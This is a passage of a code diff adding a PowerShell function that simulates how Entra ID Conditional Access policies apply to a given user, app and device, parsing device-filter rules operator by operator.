+ + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute6, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute7, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute8, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute9, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute10, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute11, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute12, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute13, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute14, + + [parameter(Mandatory = $false)] + [string]$ExtensionAttribute15 + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + $Policies = $null + + if ($JSONFile) { + $Policies = Get-Content -Path $JSONFile | ConvertFrom-Json + + if ($UserPrincipalName -ne 'GuestsOrExternalUsers') { + $UserPrincipalName = 'All' + } + } + else { + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Policy.Read.All', 'User.Read.All' -Verbose + + + # Get all existing policies. + Write-Verbose -Verbose -Message "Fetching Conditional Access policies..." + $Policies = Get-MgIdentityConditionalAccessPolicy + } + + + # Set conditions to simulate. + + Write-Verbose -Verbose -Message "Simulating Conditional Access evaluation..." + + $CustomObject = New-Object -TypeName psobject + + + # User. + $UserId = (Get-MgUser -Filter "userPrincipalName eq '$UserPrincipalName'").Id + + if ($UserId) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value $UserId + } + else { + if ($UserPrincipalName -eq 'GuestsOrExternalUsers') { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'GuestsOrExternalUsers' + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserId" -Value 'All' + } + } + + + # Groups. + $Groups = $null + + if ($UserId) { + $Groups = (Get-MgUserTransitiveMemberOf -UserId $UserId).Id + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $Groups + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "Groups" -Value $null + } + + + #Application. + $AppId = $null + if ($ApplicationDisplayName -eq 'All') { + $AppId = 'All' + } + elseif ($ApplicationDisplayName -eq 'Office 365') { + $AppId = 'Office365' + } + elseif ($ApplicationDisplayName -eq 'Microsoft Admin Portals') { + $AppId = 'MicrosoftAdminPortals' + } + else { + $AppId = (Get-MGServicePrincipal -Filter "DisplayName eq '$ApplicationDisplayName'").AppId + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Application" -Value $AppId + + + # Client App (all, browser, mobileAppsAndDesktopClients, exchangeActiveSync, easSupported, other). + $CustomObject | Add-Member -MemberType NoteProperty -Name "ClientApp" -Value $ClientApp + + + # IP Address. + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustedIPAddress" -Value $TrustedIPAddress + + + # Country. + if ($Country -eq $null) { + $Country = 'All' + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Country" -Value $Country + + + # Platform (android, iOS, windows, windowsPhone, macOS, linux, all, unknownFutureValue). + $CustomObject | Add-Member -MemberType NoteProperty -Name "Platform" -Value $Platform + + + # Sign-in Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "SignInRiskLevel" -Value $SignInRiskLevel + + + # User Risk Level (low, medium, high, none). + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserRiskLevel" -Value $UserRiskLevel + + #DeviceID. + $CustomObject | Add-Member -MemberType NoteProperty -Name "DeviceID" -Value $DeviceID + + #DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "DisplayName" -Value $DisplayName + + #DeviceOwnership (personal, company) + $CustomObject | Add-Member -MemberType NoteProperty -Name "DeviceOwnership" -Value $DeviceOwnership + + #EnrollmentProfileName + $CustomObject | Add-Member -MemberType NoteProperty -Name "EnrollmentProfileName" -Value $EnrollmentProfileName + + #IsCompliant + $CustomObject | Add-Member -MemberType NoteProperty -Name "IsCompliant" -Value $IsCompliant + + #Manufacturer + $CustomObject | Add-Member -MemberType NoteProperty -Name "Manufacturer" -Value $Manufacturer + + #MdmAppId + $CustomObject | Add-Member -MemberType NoteProperty -Name "MdmAppId" -Value $MdmAppId + + #Model + $CustomObject | Add-Member -MemberType NoteProperty -Name "Model" -Value $Model + + #OperatingSystem + $CustomObject | Add-Member -MemberType NoteProperty -Name "OperatingSystem" -Value $OperatingSystem + + #OperatingSystemVersion + $CustomObject | Add-Member -MemberType NoteProperty -Name "OperatingSystemVersion" -Value $OperatingSystemVersion + + #PhysicalIds + $CustomObject | Add-Member -MemberType NoteProperty -Name "PhysicalIds" -Value $PhysicalIds + + #ProfileType + $CustomObject | Add-Member -MemberType NoteProperty -Name "ProfileType" -Value $ProfileType + + #SystemLabels + $CustomObject | Add-Member -MemberType NoteProperty -Name "SystemLabels" -Value $SystemLabels + + #TrustType + $CustomObject | Add-Member -MemberType NoteProperty -Name "TrustType" -Value $TrustType + + #ExtensionAttribute1 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute1" -Value $ExtensionAttribute1 + + #ExtensionAttribute2 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute2" -Value $ExtensionAttribute2 + + #ExtensionAttribute3 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute3" -Value $ExtensionAttribute3 + + #ExtensionAttribute4 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute4" -Value $ExtensionAttribute4 + + #ExtensionAttribute5 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute5" -Value $ExtensionAttribute5 + + #ExtensionAttribute6 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute6" -Value $ExtensionAttribute6 + + #ExtensionAttribute7 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute7" -Value $ExtensionAttribute7 + + #ExtensionAttribute8 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute8" -Value $ExtensionAttribute8 + + #ExtensionAttribute9 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute9" -Value $ExtensionAttribute9 + + #ExtensionAttribute10 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute10" -Value $ExtensionAttribute10 + + #ExtensionAttribute11 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute11" -Value $ExtensionAttribute11 + + #ExtensionAttribute12 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute12" -Value $ExtensionAttribute12 + + #ExtensionAttribute13 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute13" -Value $ExtensionAttribute13 + + #ExtensionAttribute14 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute14" -Value $ExtensionAttribute14 + + #ExtensionAttribute15 + $CustomObject | Add-Member -MemberType NoteProperty -Name "ExtensionAttribute15" -Value $ExtensionAttribute15 + + $ConditionsToSimulate = $CustomObject + + + # Show conditions to test. + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message ($ConditionsToSimulate | Format-List | Out-String) } + + # Printing the parameters + # Write-Verbose -Verbose "Evaluating policy for UserPrincipalName: $($Parameters.UserPrincipalName), + # ApplicationDisplayName: $($Parameters.ApplicationDisplayName), + # ClientApp: $($Parameters.ClientApp), + # TrustedIPAddress: $($Parameters.TrustedIPAddress), + # Country: $($Parameters.Country), + # Platform: $($Parameters.Platform), + # SignInRiskLevel: $($Parameters.SignInRiskLevel), + # UserRiskLevel: $($Parameters.UserRiskLevel), + # SummarizedOutput: $($Parameters.SummarizedOutput), + # VerbosePolicyEvaluation: $($Parameters.VerbosePolicyEvaluation), + # IncludeNonMatchingPolicies: $($Parameters.IncludeNonMatchingPolicies)" + + + + + + + # Loop through all Conditional Access policies and test the current conditions. + $Result = foreach ($Policy in $Policies) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY EVALUATION: $($Policy.DisplayName)" } + + $CustomObject = New-Object -TypeName psobject + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value $Policy.DisplayName + + $GrantControls = $Policy.GrantControls | Select-Object AuthenticationStrength, Operator, BuiltInControls, TermsOfUse, CustomAuthenticationFactors + + try { + if ($GrantControls.authenticationStrength.id) { + $GrantControls.authenticationStrength = $true + } + else { + $GrantControls.authenticationStrength = $false + } + + $GrantControls = $GrantControls | ConvertTo-Json -Depth 10 + + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + catch { + $CustomObject | Add-Member -MemberType NoteProperty -Name "GrantControls" -Value $GrantControls + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "SessionControls" -Value ($Policy.SessionControls | Select-Object ApplicationEnforcedRestrictions, CloudAppSecurity, DisableResilienceDefaults, PersistentBrowser, SignInFrequency | ConvertTo-Json) + + + + + + $PolicyMatch = $true + $UserMatch = $false + $GroupMatch = $false + + + #Enabled + if ($Policy.State -eq 'enabled') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Enabled: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ApplicationFilter + + # ExcludeApplications: + if ($Policy.Conditions.Applications.ExcludeApplications -contains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeApplications: APPLIED' } + } + + + + # IncludeApplications + if ($Policy.Conditions.Applications.IncludeApplications -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + elseif ($Policy.Conditions.Applications.IncludeApplications -eq 'none') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Applications.IncludeApplications -notcontains $ConditionsToSimulate.Application) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeApplications: APPLIED' } + } + + + #IncludeUserActions + # + + + #ClientAppTypes + if ($Policy.Conditions.ClientAppTypes -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + elseif ($Policy.Conditions.ClientAppTypes -notcontains $ConditionsToSimulate.ClientApp) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ClientAppTypes: APPLIED' } + } + + #-------------------------------------------------------------------------------------------------------------------------------------------------- + #The device rule needs to be split into separate parts before it can be used + $ToggleVerbosePrinting = $false + + #Split a long rule with multiple sections into separate parts + $entireRule = $Policy.Conditions.devices.deviceFilter.rule + if ($null -ne $entireRule) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "entireRule: $($entireRule)" } + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Loop begins of individually cut polices" } + } + + $splitRuleArray = $entireRule -split '\s+-or\s+|\s+-and\s+|\(|\)' | ForEach-Object { $_.Trim() } | Where-Object { $_ -ne '' } + + # Write-Verbose -Verbose "entireRule: $($entireRule)" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[0])" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[1])" + # Write-Verbose -Verbose "entireRule: $($splitRuleArray[2])" + + $PolicyMatchArray = @() + + foreach ($singleSplitRule in $splitRuleArray) { + # Split the string into parts + $Parts = $singleSplitRule -split ' ' + + # Assign the components Example: device.deviceId -in ["25","30","35"] + $DeviceProperty = $Parts[0] -replace 'device\.', '' # Extracts 'deviceId' + $DeviceOperator = $Parts[1] # Extracts '-in' + + # Handle $DeviceValue: Strip brackets and parse values + $RawDeviceValue = $Parts[2] -replace '^\[|\]$', '' # Removes the square brackets (e.g., ["25","30","35"] -> "25","30","35") + + # Split into an array based on commas + $DeviceValue = $RawDeviceValue -split '","' # Splits "25","30","35" into @("25", "30", "35") + + # Clean up any leftover quotes + $DeviceValue = $DeviceValue -replace '"', '' # Removes any surrounding quotes from each value + + # Printing the policy variables based on what type of mode it is and what the property is + #Property=deviceId and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'deviceId') { + # Write-Verbose -Verbose "It is include and deviceId" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceId: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=deviceId and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'deviceId') { + # Write-Verbose -Verbose "It is exclude and deviceId" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceId: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + # #Property=deviceOwnership and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'deviceOwnership') { + # Write-Verbose -Verbose "It is include and deviceOwnership" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceOwnership: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=deviceOwnership and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'deviceOwnership') { + # Write-Verbose -Verbose "It is exclude and deviceOwnership" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for deviceOwnership: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + # #Property=isCompliant and Mode=include + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + # if ($DeviceProperty -eq 'isCompliant') { + # Write-Verbose -Verbose "It is include and isCompliant" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for isCompliant: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + # #Property=isCompliant and Mode=exclude + # if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + # if ($DeviceProperty -eq 'isCompliant') { + # Write-Verbose -Verbose "It is exclude and isCompliant" + # Write-Verbose -Verbose "Evaluating policy for deviceMode: $($Policy.Conditions.devices.deviceFilter.mode)" + # Write-Verbose -Verbose "Evaluating policy for isCompliant: $($Policy.Conditions.devices.deviceFilter.rule)" + # } + # } + + $concatedToPrintParamater = $Parameters.$DeviceProperty + if ($null -ne $entireRule) { + $PolicyMatch = $true + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "------------------------- EntraIdRule: [$($singleSplitRule)] | ParameterValue: [$($concatedToPrintParamater)] -------------------------" } + } + + #Property=DeviceFilter and Mode=include + #check if it is include + if ($Policy.Conditions.devices.deviceFilter.mode -eq 'include') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Device mode is include." } + if (@($DeviceProperty) -match 'deviceId|mdmAppId') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "Include $($DeviceProperty)s: APPLIED" } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'deviceOwnership|isCompliant|profileType|trustType') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'physicalIds|systemLabels') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + elseif (@($DeviceProperty) -match 'displayName|enrollmentProfileName|manufacturer|model|operatingSystem|operatingSystemVersion|extensionAttribute1|extensionAttribute2|extensionAttribute3|extensionAttribute4|extensionAttribute5|extensionAttribute6|extensionAttribute7|extensionAttribute8|extensionAttribute9|extensionAttribute10|extensionAttribute11|extensionAttribute12|extensionAttribute13|extensionAttribute14|extensionAttribute15') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = include" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString -and @($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + if (($DeviceValue | ForEach-Object { $ConditionsToSimulateString -like "*$_*" }) -and ($DeviceOperator -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith')) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = include." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match 